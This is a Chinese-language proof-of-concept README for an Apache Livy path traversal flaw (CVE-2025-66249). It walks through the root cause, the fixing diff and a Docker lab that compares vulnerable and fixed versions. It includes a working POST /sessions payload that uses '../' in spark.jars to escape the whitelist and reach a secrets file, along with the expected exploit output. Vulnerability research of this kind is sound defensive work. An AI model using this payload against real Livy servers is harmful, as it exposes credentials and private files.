仅供教育和安全研究使用。请勿对您不拥有或未获明确书面许可的系统进行测试。→ 完整免责声明
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-66249 |
| 严重性 | 重要(CVSS 不适用 — 截至 2026-03-15,NVD 评估待定) |
| 影响版本 | Apache Livy 0.3.0-incubating 至 0.8.0-incubating — 仅当 livy.file.local-dir-whitelist 设置为非默认值时 |
| 修复版本 | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: 路径名对受限目录限制不当('路径遍历') |
| 披露日期 | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| 报告者 | Hiroki Egawa(发现者) |
拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交一个 Spark 会话或批处理作业,其中包含精心构造的文件路径配置值,从而逃逸允许的目录白名单。
根本原因 — 白名单检查中的路径遍历绕过(Session.scala)
当配置了 livy.file.local-dir-whitelist 时,Livy 0.8.0 通过调用 Java 的 String.startsWith() 对原始、未规范化的路径进行验证。这种检查可以通过使用 ../ 遍历序列绕过:
/opt/safe-data/../sensitive/secret.txt
原始字符串以 /opt/safe-data 开头,因此检查通过——但路径实际解析为 /opt/sensitive/secret.txt,完全位于白名单目录之外。
触发条件: 仅当 livy.file.local-dir-whitelist 设置为**非默认(非空)**值时才能利用该漏洞。如果白名单为空(默认值),则完全跳过路径验证,该问题不会出现。
影响: 通过 Livy REST API 提交会话的攻击者可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这可能导致凭据、密钥、配置文件或 Livy 进程用户可读的任何数据泄露。
Session.scala存在漏洞的版本(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修复版本(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
两个版本均直接从官方 Apache Livy GitHub 仓库克隆,使用以下确切命令:
仓库: https://github.com/apache/incubator-livy
# 存在漏洞的版本 — 克隆到 ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# 修复版本 — 克隆到 ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| 版本 | 标签 |
|---|
Session.scala:在白名单检查前添加 Paths.get().normalize() import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
在 v0.8.0 中的影响:
原始字符串的 startsWith 检查可以通过路径遍历载荷绕过。
示例:如果 livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(绕过)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(阻止)差异通过本地克隆两个标签(见上文)并运行以下命令生成:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
攻击者(已认证的 REST/JDBC 用户)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← 路径以白名单前缀开头 — String.startsWith() 通过
← 但通过 ../ 遍历解析到目录之外
}
}
│
▼
Livy 0.8.0 — 白名单检查绕过(原始 startsWith,无规范化)
│
▼
Spark 读取文件并分发给执行器
│
▼
攻击者通过作业输出/日志获取文件内容
本 PoC 中的所有步骤均已在以下系统上执行并验证:
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → 镜像: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → 镜像: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → 单一脚本,在两个环境中原样运行
完整的端到端顺序 — 按顺序执行步骤 1 至 4:
步骤 1: 构建存在漏洞的镜像 → 启动容器 → 验证 Livy 启动
步骤 2: 运行 validate.sh → 确认存在漏洞(攻击 HTTP 201) → 停止容器
步骤 3: 构建修复镜像 → 启动容器 → 验证 Livy 启动
步骤 4: 运行 validate.sh → 确认已修复(攻击 HTTP 400) → 停止容器
注意:
docker run后,Livy 需要大约 15–20 秒才能就绪。 以下所有步骤在进行任何 API 调用前都包含显式的sleep 20。
文件:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal,Spark 3.1.3,Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 绑定在 0.0.0.0:8998,本地模式,白名单 = /opt/safe-data1a. 构建镜像:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
验证 — 镜像已创建:
docker images cve-2025-66249-vulnerable
预期输出:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. 启动容器:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
验证 — 容器正在运行:
docker ps --filter name=livy-vulnerable
预期输出:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. 等待 Livy 启动,然后验证 REST API:
Livy 需要约 15–20 秒初始化才能开始处理请求。
sleep 20
curl -s http://localhost:8998/sessions
预期输出:
{"from":0,"total":0,"sessions":[]}
1d. 验证容器内的目录布局:
确认白名单中的安全文件存在:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
预期输出:
This file lives inside the whitelisted directory.
确认敏感文件存在于白名单之外:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
预期输出:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
步骤 1 中的漏洞容器必须仍在端口 8998 上运行。
test/validate.sh 测试内容:
| # | 攻击 | 载荷键 | 在 Livy 0.8.0 上的预期结果 |
|---|---|---|---|
| 1 | 通过 Session.scala 中的 String.startsWith() 进行路径遍历 | spark.jars 包含 ../ 遍历 | HTTP 201 — 遍历绕过白名单 |
2a. 运行脚本:
bash test/validate.sh
注意:
validate.sh工作方式如下:
- 轮询
GET /sessions直到 Livy 响应(最多 60 秒),确认服务器就绪。- 通过
curl发送POST /sessions请求,包含精心构造的conf载荷,目标指向白名单之外的文件(/opt/sensitive/secret.txt),使用../遍历。- 读取 HTTP 响应码:201 表示 Livy 接受了未规范化的路径(存在漏洞);400 表示 Livy 规范化后拒绝了路径(已修复)。
- 如果会话被创建(HTTP 201),脚本立即通过
DELETE /sessions/{id}删除它,以保持服务器干净。- 测试后输出摘要并以代码 1(存在漏洞)或 0(已修复)退出,便于在自动化流水线中使用。
预期输出:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. 停止并移除漏洞容器:
docker stop livy-vulnerable && docker rm livy-vulnerable
验证 — 容器已完全移除:
docker ps -a --filter name=livy-vulnerable
预期输出(空 — 无行):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
文件:
docker/fixed/Dockerfile — 相同的基础镜像和 Spark 3.1.3,仅 Livy 版本改为 0.9.0-incubatingdocker/fixed/livy.conf — 与 docker/vulnerable/livy.conf 相同(相同白名单、端口、模式)保持 Spark、基础镜像和所有配置与步骤 1 相同,将 Livy 作为唯一的变量。
3a. 构建镜像:
docker build -t cve-2025-66249-fixed docker/fixed/
验证 — 镜像已创建:
docker images cve-2025-66249-fixed
预期输出:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. 启动容器:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
验证 — 容器正在运行:
docker ps --filter name=livy-fixed
预期输出:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. 等待 Livy 启动,然后验证 REST API:
sleep 20
curl -s http://localhost:8998/sessions
预期输出:
{"from":0,"total":0,"sessions":[]}
3d. 验证容器内的目录布局:
修复容器使用与漏洞容器相同的测试文件——这确认两个环境之间唯一的变量是 Livy 版本。
确认白名单中的安全文件存在:
docker exec livy-fixed cat /opt/safe-data/safe.txt
预期输出:
This file lives inside the whitelisted directory.
确认敏感文件存在于白名单之外:
docker exec livy-fixed cat /opt/sensitive/secret.txt
预期输出:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
步骤 3 中的修复容器必须在端口 8998 上运行。 脚本相同 — 无更改。
步骤 2 和步骤 4 之间的变化:
Paths.get().normalize() 规范化路径4a. 运行脚本:
bash test/validate.sh
预期输出:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
错误消息确认的内容:
| 攻击 | HTTP | 错误消息 | 已修复的根本原因 |
|---|---|---|---|
通过 spark.jars 进行路径遍历 | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. |
4b. 停止并移除修复容器:
docker stop livy-fixed && docker rm livy-fixed
验证 — 容器已完全移除:
docker ps -a --filter name=livy-fixed
预期输出(空 — 无行):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 是白名单强制检查中一个单一的、有针对性的逻辑缺陷,该检查用于保护 Livy 的本地文件系统访问路径。
白名单(livy.file.local-dir-whitelist)存在于所有受影响版本中,并且配置正确。问题在于白名单的评估方式:
路径遍历绕过(唯一的弱点): Session.scala 中的白名单比较使用了 Java 的 String.startsWith() 对原始路径字符串进行检查。这对于文件系统路径比较是不够的,因为它没有考虑 .. 遍历段。像 /opt/safe-data/../sensitive/secret.txt 这样的路径满足了针对白名单条目 /opt/safe-data 的字符串检查,但实际解析到了完全不同的位置。
0.9.0 中的修复是微小且有针对性:在白名单比较前添加了一次对 Paths.get().normalize() 的调用。这会在 startsWith 检查运行之前解析所有 .. 段,因此遍历载荷能被正确识别为指向允许目录之外。
对防御者的关键提示: 仅当 livy.file.local-dir-whitelist 设置为非空值时,漏洞才可被利用。虽然这意味着默认配置不会直接受到攻击,但任何已经收紧白名单(即明确限制 Livy 可以访问的目录)的部署反而暴露出来——因为正是白名单的存在激活了有缺陷的代码路径。升级到 Livy 0.9.0-incubating 是唯一完整的修复措施。
欢迎改进此 PoC 或文档的贡献!请确保任何贡献:
要贡献,请提交 Pull Request 或提交 Issue 描述建议的更改。
本项目采用 MIT 许可证。
本仓库仅供教育和安全研究使用。概念验证演示了漏洞机制以帮助理解和防御措施。请勿对您不拥有或未获明确书面许可的系统进行测试。
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security
| 解析的提交 |
|---|
| 本地路径 |
|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
| 组件 | 详情 |
|---|
| 主机操作系统 | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 内核 | 6.17.0-14-generic x86_64 |
| 架构 | x86_64 |
| 总内存 | 15 GiB |
| Docker 引擎 | 28.2.2 |
| 主机 JDK | OpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal) |
| 容器基础镜像 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark 版本(两个镜像) | 3.1.3 with Hadoop 3.2 |
| Livy 版本 — 存在漏洞的镜像 | 0.8.0-incubating |
| Livy 版本 — 修复镜像 | 0.9.0-incubating |
在 Session.scala 中添加了 Paths.get(...).normalize();在白名单比较前解析 ../ |
string-startswith-bypasspath-normalisation